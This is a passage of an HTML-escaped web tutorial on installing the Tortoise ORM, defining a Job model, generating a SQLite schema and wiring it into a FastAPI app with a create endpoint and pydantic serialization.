configuration.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;installation-of-the-python-tortoise-orm&#34;&gt;Installation of the Python tortoise ORM&lt;/h2&gt;&#xA;&lt;p&gt;To install tortoise-orm just use the virtual environment manager of your choice, I will use pipenv.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install tortoise-orm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I will also install fastAPI and other utilities we will need&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install python-multipart fastapi uvicorn pydantic&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-models-with-tortoise&#34;&gt;Create models with tortoise&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s create a directory called app and a models file called &lt;em&gt;models.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Model&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; fields&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Job&lt;/span&gt;(Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# El campo de la llave primaria se crea automáticamente&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# id = fields.IntField(pk=True) &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; fields&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;255&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; fields&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you notice the syntax is quite similar to the Django fields, even some parameters are the same.&lt;/p&gt;&#xA;&lt;p&gt;To start working with the tortoise ORM we need:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to the database.&lt;/li&gt;&#xA;&lt;li&gt;Create the necessary table(s).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;connecting-to-database-with-tortoise&#34;&gt;Connecting to database with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;We are going to create a function to connect to the database in a directory called database:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# database/connectToDatabase.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connectToDatabase&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;init(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sqlite://db.sqlite3&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;models&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;app.models&amp;#39;&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;generating-schematics-with-tortoise&#34;&gt;Generating schematics with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s create a function to generate the models in the root of our application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# createSchema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise, run_async&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;generate_schemas()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    run_async(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observe how we import the function to connect that we have just created and then call the &lt;em&gt;generate_schemas()&lt;/em&gt; method, which will read our models and make the changes in the database.&lt;/p&gt;&#xA;&lt;p&gt;Another aspect you should appreciate is that we run the main function inside the &lt;em&gt;run_async()&lt;/em&gt; function provided by tortoise. This is necessary for our await functions to run, otherwise only a &lt;em&gt;corroutine&lt;/em&gt; object would be created.&lt;/p&gt;&#xA;&lt;p&gt;Why do we place this method in an external file? Because &lt;strong&gt;&lt;em&gt;generate_schemas()&lt;/em&gt; only needs to be used once&lt;/strong&gt;; when the tables are created. We should not include it in the file that will be run when fastAPI is executed.&lt;/p&gt;&#xA;&lt;p&gt;Knowing that, let&amp;rsquo;s run it to create our tables.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 createSchema.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well we will already have the tables created in our SQLite database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tortoise-integration-with-fastapi&#34;&gt;tortoise integration with fastAPI&lt;/h2&gt;&#xA;&lt;p&gt;We will start with a simple fastAPI application.&lt;/p&gt;&#xA;&lt;p&gt;To connect fastAPI with tortoise, the latter gives us a function called &lt;em&gt;register_tortosise()&lt;/em&gt;. That receives the instance we created with fastAPI, the address to the database and the location of our models.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;register_tortoise(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    db_url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sqlite://db.sqlite3&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modules&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;models&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.models&amp;#34;&lt;/span&gt;]},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    generate_schemas&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_exception_handlers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-an-object-with-tortoise&#34;&gt;Create an object with tortoise&lt;/h2&gt;&#xA;&lt;p&gt;To create an object we can choose to &lt;strong&gt;call the &lt;em&gt;create()&lt;/em&gt; method of the model, inside a function decorated with the &lt;em&gt;post()&lt;/em&gt;&lt;/strong&gt; method of our instance, or also create an instance and then call its &lt;em&gt;save()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise.contrib.fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HTTPNotFoundError, register_tortoise&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/job/create/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_job&lt;/span&gt;(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;), description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    job &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Job&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;name, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we now make a web request using the documentation interface that fastAPI creates, in &lt;em&gt;/docs/&lt;/em&gt;, we will see that we will be able to create a Job object using a name and a description.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/CreacionDeUnObjetoTortoise.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/images/CreacionDeUnObjetoTortoise.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creating an object using fastAPI and tortoise ORM&#34; width=&#34;1442&#34; height=&#34;988&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;serializing-objects-with-pydantic-and-tortoise&#34;&gt;Serializing objects with pydantic and tortoise&lt;/h2&gt;&#xA;&lt;p&gt;We have created the object, but what if we want to return the object after creating it? Since it is an instance of a model, we can&amp;rsquo;t just return it like that. We need a data type suitable for an HTTP response.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pydantic allows us to serialize database objects in order to return them as JSON&lt;/strong&gt; response or whatever we want.&lt;/p&gt;&#xA;&lt;p&gt;We must import the &lt;em&gt;pydantic_model_creator&lt;/em&gt; function and pass it our model as a parameter.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Job&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 